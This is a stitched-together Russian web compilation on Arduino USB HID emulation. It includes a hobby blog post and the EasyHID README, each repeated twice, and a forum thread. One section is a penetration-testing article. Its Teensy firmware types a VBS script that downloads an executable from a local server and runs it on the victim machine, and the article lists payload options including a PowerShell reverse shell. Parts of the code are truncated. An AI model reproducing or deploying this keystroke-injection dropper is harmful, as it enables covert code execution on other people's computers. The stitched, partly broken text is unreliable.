Ардуино нано hid устройство

Не забыть

вторник, 13 сентября 2016 г.

USB-Keyboard with Arduino

Arduino как HID-устройство

взято с https://vk.com/blynk

Посте того, как сгорел мой «ноутбук», я вспомнил про свой старый системник (точнее материнку и блок питания).
Достав его из кучи барахла, заметил что кроме мышки нету никакого устройства ввода, немного посидел,и начал рыть инет. Так как у меня в асоррименте только Arduino UNO R3 смотрел статьи только с ней. Многие делают клавиатуру на Arduino micro (ну там все просто).

В поисках наткнулся на статью где ардуино играет в 2048. Так как для упавления игрой надо нажимать клавиши, нужно превратить ардуино в клавиатуру.То что надо!

Нам понадобится:

  • Arduino UNO R3
  • Перемычка
  • Arduino IDE
  • Фирменная утилита Atmel – Flip
  • Архив с прошивками и примером + библиотека

Цель: написать скетч для Arduino UNO, который будет эмулировать нажатие клавиш стрелок на клавиатуре.
Алгоритм наших действий:

  • Пишем скетч с нужным функционалом и заливаем в МК ATmega328
  • Прошиваем загрузчик Arduino, usb контроллер ATmega16U2

Для эмулирования нажатий клавиш я использовал библиотеку HIDKeyboard.
Что ж теперь переходим к самому интересному – будем превращать Arduino UNO в HID устройство, а конкретней в USB клавиатуру.
Немного теории.
Прошивка загрузчика — для начала нужно перевести Arduino в режим Device Firmware Update или в более часто используемом варианте DFU. Он служит для перепрошивки контроллера выполняющего роль конвертера serial to usb.
Как известно, основное отличие Arduino UNO от предыдущих моделей плат Arduino заключается в наличие второго контроллера ATmega8U2, на смену аппаратному конвертору USB COM (FT232R). Преимуществом данного решения является возможность замены прошивки в интерфейсном контроллере с целью эмуляции произвольного устройства при подключении Arduino к ПК (накопителя, hid-устройства и т.д.). Как это сделать? У интерфейсного контроллера имеется режим DFU – прошивка контроллера ATmega8U2 через подключение через USB. Почти как прошивка центрального контроллера Arduino. Для этого можно воспользоваться фирменной утилитой Flip. Для того чтоб перевести контроллер в этот режим программирования потребуется небольшая аппаратная модернизация Arduino.
Для Arduino UNO R3 достаточно поставить перемычку.

После этих действий компьютер обнаружит новое устройство и попытается самостоятельно поставить драйвера, но у него ничего не получится. Настало время установить фирменную утилиту Flip от Atmel. Открываем диспетчер задач и видим новое устройство Arduino Uno DFU.

Выберем драйвер из папки недавно установленной утилиты FLIP. В итоге у нас появится новое устройство – ATmega16U2. В дальнейшем при подключении Arduino, устройство будет определять как USB устройство. Теперь нам следует залить HEX файл с инструкциями USB клавиатуры. Чтоб компьютер в дальнейшем распознавал нашу Arduino как usb клавиатуру. Запускаем FLIP.

  • Выбираем в меню Device > Select > ATmega16U2
  • Выбираем в меню Setting > Communication > USB
  • Жмем Open берем прошивку
  • Приступаем к прошивке, жмем Run

По окончании процесса прошивки можно закрыть программу и проверить, как работает устройство. В итоге мой Arduino успешно играл в 2048 почти неделю. Даже на ночь его не выключал. В подтверждение вот мой результат.

Вот так можно превратить Arduino UNO в HID-устройство. Кстати можно не только играться в игры но и разыграть друга, подключив к его компьютеру устройство, которое запустит блокнот и будет писать там анекдоты, либо запускать команды, ведь клавиатура это главный пульт управления компьютером. К сожалению нельзя применить этот метод к плате Arduino Nano. Как уже говорилось ранее – второй контроллер Arduino UNO (ATmega8U2) используется в роли конвертера USB to Serial для определения компьютером Arduino UNO как USB устройство. Можно сделать вывод: реализовать этот метод, без посторонних устройств, возможно лишь при наличии на плате Arduino микроконтроллера запрограммированного как USB-to-serial конвертер. Но что делать, если у вас Arduino Nano или иная плата без конвертера USB to Serial? В таком случае можно купить отдельно конвертер подобный этому.

Чтобы вернуть Arduino UNO к жизни надо перепрошить ATmega16U2
Найти прошивку можно тут:

На всякий случай собрал весь софт который использовал в

— Arduino-HID-Bot-2048.ino — Скетч для Arduino UNO для игры в 2048.

— Arduino-keyboard.hex — этот hex файл заливаем при помощи FLIP для перевода arduino
в режим USB клавиатуры (но сначала нужно залить основной скетч).

прошиваем вот так!

avrdude -p m16 -b 19200 -F -P COM4 -c avrisp -U flash:w:Arduino-keyboard-0.3.hex -U lfuse:w:0xFF:m -U hfuse:w:0xD9:m -U efuse:w:0xF4:m -U lock:w:0x0F:m

«-p m16» это код atmega16u2

делаем копию arduino uno R3

avrdude -p m328p -b 19200 -c avrisp
-P COM13 -e -U flash:w:ATmegaBOOT_168_atmega328_pro_8MHz.hex

— Arduino-usbserial-uno.hex — этот файл нужен для того чтоб обратно вернуть Arduino UNO
в стандартный режи работы, чтоб она определялась в ПК как виртуальный COM-порт
в котром мы можем загружать скетчи.
https://vk.com/doc5127466_437873517

Arduino UNO R3 Mouse HID

Источник

Боевой HID-эмулятор на Arduino


За последние годы многие стали с некоторой осторожностью относиться к съемным носителям данных. И вполне обоснованно. Ведь все так или иначе встречались с autorun.inf в корне флешки. Но, к сожалению, автозапуск с носителя – далеко не единственный вектор атаки при подключении устройства. При проведении внутренних тестов на проникновение нередко возникает необходимость проверить и продемонстрировать заказчику все возможные векторы, в том числе обход device-lock’ов.
Под катом рассмотрим пример устройства на arduino-подобном МК, эмулирующего HID-клавиатуру, с последующим выполнением кода на атакуемой системе.

Вектор атаки лежит на стыке технологии и социальной инженерии, а именно, требует от потенциального злоумышленника возможности физически подключить устройство, которое “притворится” устройством ввода и самостоятельно выполнит необходимые действия. Все вышеописанное перестает выглядеть фантастично, стоит лишь вспомнить про великое множество полезных и не очень usb-девайсов неизвестного происхождения, которые служащие, бывает, подключают к своим рабочим станциям. Не стоит всегда полагаться на утиный тест: здесь не все, что выглядит как флешка, флешкой и является.

Железо

В качестве аппаратной платформы будем использовать Teensy USB Development Board, а именно Teensy 2.0.

  • Поддержка USB
  • Маленькие габариты
  • Небольшая стоимость($16)
  • Совместимость с Arduino

Сама идея эмулировать микроконтроллером нажатия клавиш на клавиатуре не нова, и в помощь нам существует масса готовых решений. В частности, получить код прошивки можно несколькими путями.

Social Engineering Toolkit

Предустанавливается в back-track, позволяет выбрать один из вариантов полезной нагрузки:

  • Powershell HTTP GET MSF Payload
  • WSCRIPT HTTP GET MSF Payload
  • Powershell based Reverse Shell Payload
  • Internet Explorer/FireFox Beef Jack Payload
  • Go to malicious java site and accept applet Payload
  • Gnome wget Download Payload

На выходе получается файл *.pde с кодом программы, готовым для компиляции и прошивки.

Kautilya

Как и модуль из SET, представляет собой генератор кода прошивки, но, в отличие от вышеупомянутого, содержит значительно больше разнообразных нагрузок и активно развивается энтузиастом по имени Nikhil Mittal. Например, в версии 0.2.1 содержится 20 различных вариантов полезной нагрузки для Windows и 3 для Linux. Но большая часть функционала основана на манипуляциях с Power-Shell, что, мягко говоря, затрудняет эксплуатацию в Windows XP.

Написать код самим

Для удобства можно использовать библиотеку phukdlib, созданную пионером в области «teensy-вектора», человеком по имени Adrian Crenshaw (Irongeek). В ней реализовано несколько рутинных операций, например, открытие командной строки, реализованное для различных ОС.

Какой бы способ мы ни выбрали, в итоге у нас будет файл с кодом нашей прошивки, который надо чем-то скомпилировать и залить в МК. Для этого качаем и устанавливаем Arduino и teesyduino — дополнение для ардуино, добавляющее поддержку сборки под нашу платформу, а также десятки полезных примеров.

Саму среду достаточно просто распаковать из архива, и она уже готова к запуску. В процессе установки teensyduino установится также USB Serial driver, и будет предложено выбрать дополнительные библиотеки для работы со всевозможной периферией, от сервоприводов до GPS-приемников. Для нашей сегодняшней задачи ни одна из них не понадобится, но все они сами по себе достаточно любопытны и сопровождаются примерами кода.

Теперь запускаем и выбираем тип платы.

Эмулировать мы будем устройства ввода, так что выбираем соответствующий тип USB.

Итак, скромный инструментарий готов, и можно приступать к написанию программы.

Let’s rock!

Зададим глобальные переменные
int ledPin = 11; //номер пина, на который уже разведен светодиод
int complete_flag =0; //флаг, указывающий, что один цикл программы уже выполнился

Перед основным циклом единожды выполняется функция Setup(). В ней мы приветственно поморгаем светодиодом, а заодно дадим несколько секунд на инициализацию HID-устройства системой.

void setup() <
pinMode(ledPin, OUTPUT);
for(int i=0;i

Для начала вызовем стандартный диалог выполнения команд, «нажав» хоткей Win+R.

void loop() <
if(!complete_flag)
<
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

Подождем немного, пока диалог откроется. Здесь и далее в этом примере используется задержка продолжительностью в 1 секунду — значение, неоправданно большое для реальных условий и зависящее от отзывчивости системы (бывает, что и блокнот открывается полминуты).

Теперь, когда перед нами открылся текстовый редактор, «наберем» VBS-скрипт, который скачает и запустит приложение со стороннего сервера.

Keyboard.println(«Set xml=CreateObject(\»Microsoft.XMLHTTP\»)»);
Keyboard.println(«xml.Open \»GET\»,\»http://192.168.1.137/calc.\»&\»exe\»,False»);
Keyboard.println(«xml.Send»);
Keyboard.println(«set oStream=createobject(\»Adodb.Stream\»)»);
Keyboard.println(«Const adTypeBinary=1»);
Keyboard.println(«Const adSaveCreateOverWrite=2»);
Keyboard.println(«Const adSaveCreateNotExist=1 «);
Keyboard.println(«oStream.type=1»);
Keyboard.println(«oStream.open»);
Keyboard.println(«oStream.write xml.responseBody»);
Keyboard.println(«oStream.savetofile \»C:\\payload.\»&\»exe\», 2″);
Keyboard.println(«oStream.close»);
Keyboard.println(«Set wshShell=CreateObject(\»WScript.Shell\»)»);
Keyboard.println(«WshShell.Exec (\»C:\\payload.\»&\»exe\»)»);

Сохраним полученное в корне диска С (Alt+F4 -> Enter -> вводим имя файла -> Enter).

Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println(«»);
delay(1000);
Keyboard.println(«c:\\getpayload.vbs»);

Как и ранее, Win+R, и запускаем только что созданный скрипт.

Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println(«c:\\getpayload.vbs»);
complete_flag = 1;
> >

Настало время залить все это в teensy. Для этого просто жмем кнопку Upload, и после завершения компиляции перед нами предстанет окошко teensy-loader’а. Остается подключить нашу плату по USB и нажать единственную кнопку. После прошивки микроконтроллер автоматически перезагрузится и начнет выполнение программы.

Action!

В заключение хочется отметить, что для защиты от подобного рода атак можно использовать настройку политик безопасности для добавления новых устройств в ОС или же специализированные средства для блокировки. Но устройства идентифицируются системой по связке Vendor ID и Product ID, которые, в свою очередь, могут быть запрограммированы злоумышленником и полностью соответствовать уже зарегистрированным в системе. Таким образом, даже блокировка по «белому списку» не является панацеей. Для выявления и блокировки HID-эмуляторов, на мой взгляд, следует использовать эвристические методы, например, основываясь на анализе изменения скорости ввода.

Источник

Ардуино нано hid устройство

Copy raw contents

Copy raw contents

Библиотека для программной реализации USB клавиатуры и мышки на некоторых МК AVR и платах на их основе

  • Буквенные клавиши
  • Мультимедийные клавиши
  • Системные клавиши и сочетания
  • Буферизация нажатий
  • Движение мышки и нажатие её кнопок

. МК AVR с тактированием 16 МГц .

  • ATmega328 (плата Nano, Uno, Mini)
  • ATmega168/88/48/8
  • ATtiny88 (плата MH-ET) работает через USB на плате!
  • ATtiny167 (плата Digispark PRO) работает через USB на плате!
  • ATtiny48
  • БИБЛИОТЕКА НЕДОСТУПНА В МЕНЕДЖЕРЕ БИБЛИОТЕК из-за структуры проекта. Если кто то сможет запустить код из папки src — кидайте пулл реквест!
  • Скачать библиотеку .zip архивом для ручной установки:
    • Распаковать и положить в C:\Program Files (x86)\Arduino\libraries (Windows x64)
    • Распаковать и положить в C:\Program Files\Arduino\libraries (Windows x32)
    • Распаковать и положить в Документы/Arduino/libraries/
    • (Arduino IDE) автоматическая установка из .zip: Скетч/Подключить библиотеку/Добавить .ZIP библиотеку… и указать скачанный архив
  • Читай более подробную инструкцию по установке библиотек здесь
  • Рекомендую всегда обновлять библиотеку: в новых версиях исправляются ошибки и баги, а также проводится оптимизация и добавляются новые фичи
  • Через менеджер библиотек IDE: найти библиотеку как при установке и нажать «Обновить»
  • Вручную: удалить папку со старой версией, а затем положить на её место новую. «Замену» делать нельзя: иногда в новых версиях удаляются файлы, которые останутся при замене и могут привести к ошибкам!

Схема на примере Arduino Nano

  • Стабилитрон — любой маломощный на 3.6V
  • Резистор 100 Ом — можно заменить на другой в диапазоне 47.. 200 Ом
  • Резистор 1.5 кОм — можно заменить на другой в диапазоне 1.2.. 2.2 кОм
  • Диод — любой обычный кремниевый (с падением 0.7V)

Если используется активная подтяжка при помощи пина, добавь #define EASYHID_SOFT_DETACH ПЕРЕД подключением EasyHID.h

Порт и пин можно задать в файле usbconfig.h. Стандартные:

ATtiny88 (плата MH-ET) — USB распаян на плате

  • D- — пин 0 (PD1)
  • D+ — пин 2 (PD2) (INT0)

ATtiny167 (плата Digispark PRO) — USB распаян на плате

  • D- — пин 4 (PB3)
  • D+ — пин 3 (PB6) (INT0)
  • D- — (PD4)
  • D+ — (PD2) (INT0)
  • PULL — (PD5)

Смотри более расширенные примеры в папке examples!

  • v1.0
  • v2.0
    • Добавлена буферизация клавиш (до 5 штук одновременно нажатых)
    • Добавлен release(), от одной до 5 клавиш
    • Работают системные клавиши и сочетания
    • Добавлена поддержка платы Digispark PRO на базе ATtiny167
    • Добавлена поддержка платы MH-ET на базе ATtiny88
    • Теперь если в схеме задействована активная подтяжка (см. схему) надо перед подключением либы дописать #define EASYHID_SOFT_DETACH
    • Добавлен метод end(): отключает USB, корректно воспринимается компом без ошибки только при использовании схемы с активным pullup
    • Добавлены более удобные константы
  • v2.1 — небольшая оптимизация
  • v2.2 — пофикшен баг с ATmega328
  • v2.2.1 — пофикшен баг
  • v2.3 — добавлена поддержка ATmega8
  • v2.4 — добавлена поддержка Arduino IDE 2.0

Баги и обратная связь

При нахождении багов создавайте Issue, а лучше сразу пишите на почту alex@alexgyver.ru
Библиотека открыта для доработки и ваших Pull Request‘ов!

При сообщении о багах или некорректной работе библиотеки нужно обязательно указывать:

  • Версия библиотеки
  • Какой используется МК
  • Версия SDK (для ESP)
  • Версия Arduino IDE
  • Корректно ли работают ли встроенные примеры, в которых используются функции и конструкции, приводящие к багу в вашем коде
  • Какой код загружался, какая работа от него ожидалась и как он работает в реальности
  • В идеале приложить минимальный код, в котором наблюдается баг. Не полотно из тысячи строк, а минимальный код

Источник

Arduino nano hid устройство

Не забыть

вторник, 13 сентября 2016 г.

USB-Keyboard with Arduino

Arduino как HID-устройство

взято с https://vk.com/blynk

Посте того, как сгорел мой «ноутбук», я вспомнил про свой старый системник (точнее материнку и блок питания).
Достав его из кучи барахла, заметил что кроме мышки нету никакого устройства ввода, немного посидел,и начал рыть инет. Так как у меня в асоррименте только Arduino UNO R3 смотрел статьи только с ней. Многие делают клавиатуру на Arduino micro (ну там все просто).

В поисках наткнулся на статью где ардуино играет в 2048. Так как для упавления игрой надо нажимать клавиши, нужно превратить ардуино в клавиатуру.То что надо!

Нам понадобится:

  • Arduino UNO R3
  • Перемычка
  • Arduino IDE
  • Фирменная утилита Atmel – Flip
  • Архив с прошивками и примером + библиотека

Цель: написать скетч для Arduino UNO, который будет эмулировать нажатие клавиш стрелок на клавиатуре.
Алгоритм наших действий:

  • Пишем скетч с нужным функционалом и заливаем в МК ATmega328
  • Прошиваем загрузчик Arduino, usb контроллер ATmega16U2

Для эмулирования нажатий клавиш я использовал библиотеку HIDKeyboard.
Что ж теперь переходим к самому интересному – будем превращать Arduino UNO в HID устройство, а конкретней в USB клавиатуру.
Немного теории.
Прошивка загрузчика — для начала нужно перевести Arduino в режим Device Firmware Update или в более часто используемом варианте DFU. Он служит для перепрошивки контроллера выполняющего роль конвертера serial to usb.
Как известно, основное отличие Arduino UNO от предыдущих моделей плат Arduino заключается в наличие второго контроллера ATmega8U2, на смену аппаратному конвертору USB COM (FT232R). Преимуществом данного решения является возможность замены прошивки в интерфейсном контроллере с целью эмуляции произвольного устройства при подключении Arduino к ПК (накопителя, hid-устройства и т.д.). Как это сделать? У интерфейсного контроллера имеется режим DFU – прошивка контроллера ATmega8U2 через подключение через USB. Почти как прошивка центрального контроллера Arduino. Для этого можно воспользоваться фирменной утилитой Flip. Для того чтоб перевести контроллер в этот режим программирования потребуется небольшая аппаратная модернизация Arduino.
Для Arduino UNO R3 достаточно поставить перемычку.

После этих действий компьютер обнаружит новое устройство и попытается самостоятельно поставить драйвера, но у него ничего не получится. Настало время установить фирменную утилиту Flip от Atmel. Открываем диспетчер задач и видим новое устройство Arduino Uno DFU.

Выберем драйвер из папки недавно установленной утилиты FLIP. В итоге у нас появится новое устройство – ATmega16U2. В дальнейшем при подключении Arduino, устройство будет определять как USB устройство. Теперь нам следует залить HEX файл с инструкциями USB клавиатуры. Чтоб компьютер в дальнейшем распознавал нашу Arduino как usb клавиатуру. Запускаем FLIP.

  • Выбираем в меню Device > Select > ATmega16U2
  • Выбираем в меню Setting > Communication > USB
  • Жмем Open берем прошивку
  • Приступаем к прошивке, жмем Run

По окончании процесса прошивки можно закрыть программу и проверить, как работает устройство. В итоге мой Arduino успешно играл в 2048 почти неделю. Даже на ночь его не выключал. В подтверждение вот мой результат.

Вот так можно превратить Arduino UNO в HID-устройство. Кстати можно не только играться в игры но и разыграть друга, подключив к его компьютеру устройство, которое запустит блокнот и будет писать там анекдоты, либо запускать команды, ведь клавиатура это главный пульт управления компьютером. К сожалению нельзя применить этот метод к плате Arduino Nano. Как уже говорилось ранее – второй контроллер Arduino UNO (ATmega8U2) используется в роли конвертера USB to Serial для определения компьютером Arduino UNO как USB устройство. Можно сделать вывод: реализовать этот метод, без посторонних устройств, возможно лишь при наличии на плате Arduino микроконтроллера запрограммированного как USB-to-serial конвертер. Но что делать, если у вас Arduino Nano или иная плата без конвертера USB to Serial? В таком случае можно купить отдельно конвертер подобный этому.

Чтобы вернуть Arduino UNO к жизни надо перепрошить ATmega16U2
Найти прошивку можно тут:

На всякий случай собрал весь софт который использовал в

— Arduino-HID-Bot-2048.ino — Скетч для Arduino UNO для игры в 2048.

— Arduino-keyboard.hex — этот hex файл заливаем при помощи FLIP для перевода arduino
в режим USB клавиатуры (но сначала нужно залить основной скетч).

прошиваем вот так!

avrdude -p m16 -b 19200 -F -P COM4 -c avrisp -U flash:w:Arduino-keyboard-0.3.hex -U lfuse:w:0xFF:m -U hfuse:w:0xD9:m -U efuse:w:0xF4:m -U lock:w:0x0F:m

«-p m16» это код atmega16u2

делаем копию arduino uno R3

avrdude -p m328p -b 19200 -c avrisp
-P COM13 -e -U flash:w:ATmegaBOOT_168_atmega328_pro_8MHz.hex

— Arduino-usbserial-uno.hex — этот файл нужен для того чтоб обратно вернуть Arduino UNO
в стандартный режи работы, чтоб она определялась в ПК как виртуальный COM-порт
в котром мы можем загружать скетчи.
https://vk.com/doc5127466_437873517

Arduino UNO R3 Mouse HID

Источник

GyverLibs/EasyHID

Use Git or checkout with SVN using the web URL.

Work fast with our official CLI. Learn more.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

Git stats

Files

Failed to load latest commit information.

README.md

Библиотека для программной реализации USB клавиатуры и мышки на некоторых МК AVR и платах на их основе

  • Буквенные клавиши
  • Мультимедийные клавиши
  • Системные клавиши и сочетания
  • Буферизация нажатий
  • Движение мышки и нажатие её кнопок

. МК AVR с тактированием 16 МГц .

  • ATmega328 (плата Nano, Uno, Mini)
  • ATmega168/88/48/8
  • ATtiny88 (плата MH-ET) работает через USB на плате!
  • ATtiny167 (плата Digispark PRO) работает через USB на плате!
  • ATtiny48
  • БИБЛИОТЕКА НЕДОСТУПНА В МЕНЕДЖЕРЕ БИБЛИОТЕК из-за структуры проекта. Если кто то сможет запустить код из папки src — кидайте пулл реквест!
  • Скачать библиотеку .zip архивом для ручной установки:
    • Распаковать и положить в C:\Program Files (x86)\Arduino\libraries (Windows x64)
    • Распаковать и положить в C:\Program Files\Arduino\libraries (Windows x32)
    • Распаковать и положить в Документы/Arduino/libraries/
    • (Arduino IDE) автоматическая установка из .zip: Скетч/Подключить библиотеку/Добавить .ZIP библиотеку… и указать скачанный архив
  • Читай более подробную инструкцию по установке библиотек здесь
  • Рекомендую всегда обновлять библиотеку: в новых версиях исправляются ошибки и баги, а также проводится оптимизация и добавляются новые фичи
  • Через менеджер библиотек IDE: найти библиотеку как при установке и нажать «Обновить»
  • Вручную: удалить папку со старой версией, а затем положить на её место новую. «Замену» делать нельзя: иногда в новых версиях удаляются файлы, которые останутся при замене и могут привести к ошибкам!

Схема на примере Arduino Nano

  • Стабилитрон — любой маломощный на 3.6V
  • Резистор 100 Ом — можно заменить на другой в диапазоне 47.. 200 Ом
  • Резистор 1.5 кОм — можно заменить на другой в диапазоне 1.2.. 2.2 кОм
  • Диод — любой обычный кремниевый (с падением 0.7V)

Если используется активная подтяжка при помощи пина, добавь #define EASYHID_SOFT_DETACH ПЕРЕД подключением EasyHID.h

Порт и пин можно задать в файле usbconfig.h. Стандартные:

ATtiny88 (плата MH-ET) — USB распаян на плате

  • D- — пин 0 (PD1)
  • D+ — пин 2 (PD2) (INT0)

ATtiny167 (плата Digispark PRO) — USB распаян на плате

  • D- — пин 4 (PB3)
  • D+ — пин 3 (PB6) (INT0)
  • D- — (PD4)
  • D+ — (PD2) (INT0)
  • PULL — (PD5)

Смотри более расширенные примеры в папке examples!

  • v1.0
  • v2.0
    • Добавлена буферизация клавиш (до 5 штук одновременно нажатых)
    • Добавлен release(), от одной до 5 клавиш
    • Работают системные клавиши и сочетания
    • Добавлена поддержка платы Digispark PRO на базе ATtiny167
    • Добавлена поддержка платы MH-ET на базе ATtiny88
    • Теперь если в схеме задействована активная подтяжка (см. схему) надо перед подключением либы дописать #define EASYHID_SOFT_DETACH
    • Добавлен метод end(): отключает USB, корректно воспринимается компом без ошибки только при использовании схемы с активным pullup
    • Добавлены более удобные константы
  • v2.1 — небольшая оптимизация
  • v2.2 — пофикшен баг с ATmega328
  • v2.2.1 — пофикшен баг
  • v2.3 — добавлена поддержка ATmega8
  • v2.4 — добавлена поддержка Arduino IDE 2.0

Баги и обратная связь

При нахождении багов создавайте Issue, а лучше сразу пишите на почту alex@alexgyver.ru
Библиотека открыта для доработки и ваших Pull Request‘ов!

При сообщении о багах или некорректной работе библиотеки нужно обязательно указывать:

  • Версия библиотеки
  • Какой используется МК
  • Версия SDK (для ESP)
  • Версия Arduino IDE
  • Корректно ли работают ли встроенные примеры, в которых используются функции и конструкции, приводящие к багу в вашем коде
  • Какой код загружался, какая работа от него ожидалась и как он работает в реальности
  • В идеале приложить минимальный код, в котором наблюдается баг. Не полотно из тысячи строк, а минимальный код

About

Библиотека программного USB клавиатуры и мыши для Arduino Nano/UNO/Mega и прочих

Источник

Arduino.ru

Arduino Nano V3 на ATmega328 в HID устроиство

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Вопрос в шапке. Помогите пожалуйста, сколько инфы перечитал в интернете но так и не нашёл ничего путного.
Задача написать перемещение мыши по x и y координате.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Вопрос в шапке. Помогите пожалуйста, сколько инфы перечитал в интернете но так и не нашёл ничего путного.
Задача написать перемещение мыши по x и y координате.

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А зачем выбрали Нано — чтобы задачка посложнее была? оно не умеет прикидываться HID.

Вы точно ничего не перепутали? может стоило взять Ардуино Леонардо на чипе Атмега32U. которая из коробки поддерживает HID ?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А зачем выбрали Нано — чтобы задачка посложнее была? оно не умеет прикидываться HID.

Вы точно ничего не перепутали? может стоило взять Ардуино Леонардо на чипе Атмега32U. которая из коробки поддерживает HID ?

Знаю это всё, но в моём городе нету вообще леонардо кое как нашёл Нано, а ждать с алика либо доставки долго. Так что приходиться вот так..

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

ищи аттини85 и делай дигиспарк.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

ищи аттини85 и делай дигиспарк.

Без пайки чего либо и без новых покупок чего либо можно обойтись? Читал по англ форумам что можно как то через V-USB реализовать но вот как именно и т.д. никакой инфы не нашёл.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Спасибо конечно, но подожду ещё других ответов, думаю тут будет тот кто шарит за это..

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

шарит за это? ну жди. )))

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

Фапч для генерации частоты usb.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

Фапч для генерации частоты usb.

Ну, насколько я понимаю, для USB 1.1 обычного системного кварца на 16 МГц вполне достаточно.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

Т.е. будет некий софт, который посылает на микроконтроллер через UART команды, а контроллер, свою очередь должен через USB эмулировать мышь и двигать курсор? Мне одному кажется, что контроллер тут лишнее звено? :)

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

в моём городе нету вообще леонардо кое как нашёл Нано, а ждать с алика либо доставки долго. Так что приходиться вот так..

шикарная логика. «буду искать под фонарем — там светлее. «

Советую, пока суть да дело — заказать Леонардо на Али или в чипи_и_дипе. или в чем похожем. Куча магазинов в крупных городах отправляет почтой, пакет по РФ в самый глухой уголок идет от силы недели три.

А дальше устроим соревнование — сумеете ли вы поднять проект на Нано быстрее, чем идет почта :)

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А дальше устроим соревнование — сумеете ли вы поднять проект на Нано быстрее, чем идет почта :)

Как я понимаю — предполагается, что «поднимать проект» будут местные обитатели, а ТС будет копипастить.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А дальше устроим соревнование — сумеете ли вы поднять проект на Нано быстрее, чем идет почта :)

Кто принимает ставки?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

Т.е. будет некий софт, который посылает на микроконтроллер через UART команды, а контроллер, свою очередь должен через USB эмулировать мышь и двигать курсор? Мне одному кажется, что контроллер тут лишнее звено? :)

я тоже немного ничего не понял )

но вроде он обычную мышку делает. с контроллера приходят X Y координаты и на софт. но тогда и без HID сделать на нано можно.

думаю вопрос не точно написан что именно это за устройство будет

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

Т.е. будет некий софт, который посылает на микроконтроллер через UART команды, а контроллер, свою очередь должен через USB эмулировать мышь и двигать курсор? Мне одному кажется, что контроллер тут лишнее звено? :)

я тоже немного ничего не понял )

но вроде он обычную мышку делает. с контроллера приходят X Y координаты и на софт. но тогда и без HID сделать на нано можно.

думаю вопрос не точно написан что именно это за устройство будет

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

Фапч для генерации частоты usb.

Ну, насколько я понимаю, для USB 1.1 обычного системного кварца на 16 МГц вполне достаточно.

Можно поподробнее про V-USB?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

написать на компе программу-резидент, которая будет принимать координаты мыши из Компорта и двигать мышь

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

Т.е. будет некий софт, который посылает на микроконтроллер через UART команды, а контроллер, свою очередь должен через USB эмулировать мышь и двигать курсор? Мне одному кажется, что контроллер тут лишнее звено? :)

я тоже немного ничего не понял )

но вроде он обычную мышку делает. с контроллера приходят X Y координаты и на софт. но тогда и без HID сделать на нано можно.

думаю вопрос не точно написан что именно это за устройство будет

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

примерно так. переделать код + uart + uno + 2 потенциометра для x y

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

enxls, загляните в эту темку. Только имейте ввиду, что то решение было актуальным для 2015-16 года, тогда плат промикро по 200 руб ещё не было продаже на али. Сейчас делать подобное никто в здравом уме не будет.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

написать на компе программу-резидент, которая будет принимать координаты мыши из Компорта и двигать мышь

Я же говорил что с помощью программы мне как раз таки и не надо. Надо наоборот что бы программа отправила координаты ардуинке и ардуинка передвинула курсор мыши

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

